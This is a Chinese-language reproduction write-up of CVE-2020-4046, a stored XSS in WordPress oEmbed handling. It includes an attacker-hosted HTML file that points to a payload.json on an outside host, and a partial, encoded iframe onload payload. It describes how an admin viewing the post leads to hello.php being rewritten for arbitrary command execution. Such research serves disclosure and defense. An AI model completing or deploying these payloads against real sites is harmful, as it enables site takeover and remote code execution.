跳转至

(CVE-2020-4046)WordPress 5.3.4 储型XSS

一、漏洞简介

该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

二、漏洞影响

WordPress 5.3.4版本,5.2.7版本,5.1.6版本,5.0.10版本,4.9.15版本,4.8.14版本,4.7.18, 4.6.19版本,4.5.22版本,4.4.23版本,4.3.24版本,4.2.28版本,4.1.31版本,4.0.31版本,3.9.32版本,3.8.34版本,3.7.34版本。

三、复现过程

要利用该漏洞,攻击者需要在其自身的web服务器上托管两个文件(这些文件的内容将在后面显示)。为使漏洞利用正常进行,被攻击的目标服务器必须能访问攻击者web服务器以下载payload。虽然WordPress有健全的外部资源引用控制机制,但是此类安全设置将会阻止WordPress嵌入其它正常的URL,因此实际场景中开启此安全设置是比较少见的。我们基于@g0blinResearch师傅的文章生成payload。然后将payload中插件地址修改为hello.php(也就是/wp-content/plugins/hello.php),该插件为WordPress默认插件且可以访问,同时进行了其他一些小的改动。该payload使用https://eve.gd/2007/05/23/string-fromcharcode-encoder/在线工具进行编码,以避免各种转义问题。在此演示中,对应的payload.htm如下:

<HTML>
        <HEAD>
                <LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json">
        </HEAD>
</HTML>

payload.json部分如下,(没有给出完整的利用代码是为了避免漏洞在未修复前被恶意利用):

{
        "type":"rich",
        "html":"<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe src='noexist' title='xxx' 
         height=' title=' width=\"'' onload='eval(String.fromCharCode(118,97,114,…))'\"></iframe>"
}

现在,我们用至少具有贡献者权限的账户登录目标站点,随后创建一个帖子以嵌入我们payload:

1.png

管理员随后查看帖子时:

2.png3.png

我们的payload已执行,并且对应/wp-content/plugins/hello.php文件被编辑成允许我们执行任意系统命令:

4.png

参考链接

https://xz.aliyun.com/t/7929

https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/